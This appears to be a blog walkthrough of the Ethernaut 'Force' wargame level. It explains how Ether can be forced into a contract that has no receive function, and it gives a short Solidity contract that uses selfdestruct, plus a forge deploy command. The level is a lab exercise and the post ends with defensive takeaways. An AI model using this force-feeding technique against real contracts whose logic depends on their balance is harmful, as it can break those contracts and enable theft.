Ethernaut Level 07 - Force

Ethernaut Level 07 - Force

Analysis and solution for Ethernaut's level 07 - Force, with Solidity and Foundry

Objectives

The goal of this level is to send some balance to the contract.

The caveat is this is an empty contract without any functions, fallbacks, etc. Don't be fooled by the cute cat.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

The concept behind this level is how we can forcefully send Ether to a contract. Let's dive in.


Force-feeding a Smart Contract

There are currently three ways in which you can forcefully send Ether to a contract even when it does not have any implementations to receive funds. They are:

  1. Self-destruct: Smart contracts can receive Ether from other contracts as a result of a selfdestruct() call. All the Ether stored in the calling contract will then be transferred to the address specified when calling the selfdestruct() and there's no way for the receiver to prevent this because this happens on the EVM level.
  2. Coinbase Transactions: An address can receive Ether as a result of Coinbase transactions or block rewards. The attacker can start proof-of-work mining and set the target address to receive the rewards.
  3. Pre-calculated addresses: It is possible to pre-calculate the contract addresses before they are generated. If an attacker deposits funds into the address before its deployment, it is possible to forcefully store Ether there.

Analysis

Let's make use of our newly acquired concepts and forcefully send some Ether. The easiest way is by making use of a selfdestruct() function.

What is a selfdestruct()?

It is a function which is used to delete a contract from the blockchain and remove it's code and storage. Here's how it looks:

selfdestruct(addr);

Whenever this is called, the Ether stored in the contract from which it is being called will be sent to the addr mentioned in the arguments.

Therefore, to finish this level, we just need to deploy a contract, fund it with some Ether, and use a selfdestruct() with the address of the Ethernaut's instance to forcefully send the balance to that contract.


The Exploit

Here's how our exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Forced{
    constructor () public payable {
        selfdestruct(0x570F2d712F9247d8eeaC3bf9ef1300b1b29cF480);
    }
}

Let's deploy this contract using the following command.

forge create Forced --private-key $PKEY --rpc-url $RPC_URL --value 0.00001ether

I've created a simple contract that has a payable constructor. It means I can send some Ether at the time of deployment. This Ether will then be forwarded to the instance address mentioned in the selfdestruct() call and our contract will be destroyed.

image.png

The new balance of the Ethernaut's contract can be checked on Etherscan as a result of our selfdestruct() call:

image.png

The instance can be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

  • Do not rely on the contract's balance to implement business-critical or sensitive function logic as it can be manipulated easily.
  • Care should be taken when using a selfdestruct() as it can drain the calling contract. Proper access control mechanisms should be implemented.

References